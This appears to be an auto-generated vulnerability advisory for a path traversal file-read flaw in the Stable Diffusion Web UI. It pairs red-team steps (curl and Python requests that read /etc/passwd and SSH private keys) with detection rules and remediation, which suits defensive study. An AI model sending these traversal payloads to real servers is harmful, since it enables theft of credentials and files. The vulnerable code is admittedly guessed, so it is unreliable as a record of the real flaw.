CVE-2024-12375
Executive Summary
CVE-2024-12375 is a Local File Inclusion (LFI) vulnerability in the Automatic1111 Stable Diffusion Web UI, specifically in version git commit 82a973c. The flaw allows an unauthenticated attacker to read arbitrary files from the server's filesystem by sending a specially crafted HTTP request. With a CVSS score of 6.5 (Medium), the vulnerability has a high confidentiality impact but no impact on integrity or availability. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the public availability of proof-of-concept code increases the risk for unpatched instances. No official patch has been released at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Python-based web application (Stable Diffusion Web UI) distributed via GitHub. The application relies on multiple Python packages (e.g., Gradio, FastAPI, Pillow). While the LFI is in the application code itself, supply chain risks include potential malicious dependencies that could be introduced if the application is installed via pip or cloned from unofficial forks. Users should verify the integrity of their installation and monitor for updates from the official repository.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Complete read access to files on the server.
- Integrity (I): None (N) – No file modification possible.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit and allows reading sensitive files (e.g., SSH keys, configuration files, model data). However, the low EPSS score and lack of active exploitation reports reduce immediate urgency.
Deep Dive & Mechanics
The vulnerability resides in the file serving mechanism of the Stable Diffusion Web UI. The application uses a custom endpoint to serve static files (e.g., images, model outputs) without proper path validation. By injecting path traversal sequences (e.g., ../) into the request, an attacker can escape the intended directory and read any file the web server process has access to.
Root Cause: The application does not sanitize or canonicalize user-supplied file paths before passing them to file read functions. The vulnerable code likely uses os.path.join or similar without checking for .. sequences.
Example Request:
GET /file?path=../../../etc/passwd HTTP/1.1
Host: target:7860
The server responds with the contents of /etc/passwd if the web user has read permissions.
Vulnerable vs. Patched Code
Vulnerable Code (git 82a973c):
@app.get("/file")
def get_file(path: str):
# No validation of path
with open(path, "r") as f:
return f.read()
Patched Code (hypothetical fix):
import os
ALLOWED_DIR = "/app/stable-diffusion-webui/outputs"
@app.get("/file")
def get_file(path: str):
# Canonicalize and validate path
full_path = os.path.realpath(os.path.join(ALLOWED_DIR, path))
if not full_path.startswith(ALLOWED_DIR):
return "Access denied", 403
with open(full_path, "r") as f:
return f.read()
The fix ensures that the resolved path stays within the allowed directory.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable instance of Automatic1111 Stable Diffusion Web UI (git commit 82a973c) on a local VM or Docker container.
- Ensure the web UI is accessible on port 7860.
Exploitation Steps:
- Identify the target endpoint (e.g.,
/fileor/output). - Send a crafted request with path traversal:
curl "http://target:7860/file?path=../../../etc/passwd" - Read sensitive files:
curl "http://target:7860/file?path=../../../home/user/.ssh/id_rsa" - For Windows targets, use backslashes or URL-encoded paths:
curl "http://target:7860/file?path=..\\..\\..\\Windows\\win.ini"
Automated Exploit (Python):
import requests
target = "http://target:7860"
payload = "../../../etc/passwd"
r = requests.get(f"{target}/file?path={payload}")
print(r.text)
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
../or..%2fpatterns. - Alert on requests to
/fileor similar endpoints with unusual path parameters. - Use WAF rules to block path traversal attempts.
Hunting:
- Search for files outside the expected directory being accessed.
- Review application logs for
FileNotFoundErroror permission errors.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with
../in thepathparameter. - Requests to
/file,/output, or similar endpoints. - Outbound connections from the server to unknown IPs (if data exfiltration occurs).
- HTTP requests with
File System IOCs:
- Unexpected file reads (e.g.,
/etc/passwd,/etc/shadow, SSH keys). - Modified access times on sensitive files.
- Unexpected file reads (e.g.,
Log IOCs:
- Web server logs showing
GET /file?path=../../../etc/passwd. - Application logs with
[Errno 2] No such file or directoryfor traversed paths.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_12375_LFI_Detection {
meta:
description = "Detects path traversal attempts in HTTP requests to Automatic1111 Stable Diffusion Web UI"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12375"
strings:
$path_traversal = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/ nocase
$vuln_endpoint = "/file" nocase
condition:
$vuln_endpoint and $path_traversal
}
Sigma Rule
title: CVE-2024-12375 LFI Attempt on Stable Diffusion Web UI
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3a1d9f7e4c
status: experimental
description: Detects path traversal attempts targeting the file serving endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "../"
- "..\\"
- "%2e%2e%2f"
- "%2e%2e%5c"
cs-uri-stem|contains: "/file"
condition: selection
falsepositives:
- Legitimate use of relative paths in other applications
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12375 LFI Attempt on Stable Diffusion Web UI"; flow:to_server,established; content:"/file"; http_uri; content:"../"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2024-12375;)
Remediation & Mitigation
Immediate Actions:
- Isolate the vulnerable instance – Restrict network access to the web UI (e.g., bind to localhost only).
- Apply input validation – Implement a whitelist of allowed files or directories.
- Use a reverse proxy – Place Nginx or Apache in front with rules to block path traversal:
location /file { if ($args ~* "\.\.") { return 403; } }
Long-term Fix:
- Update to a patched version once available (monitor the official GitHub repository).
- Fork the repository and apply the hypothetical patch shown above.
- Conduct a code review of all file-serving endpoints.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.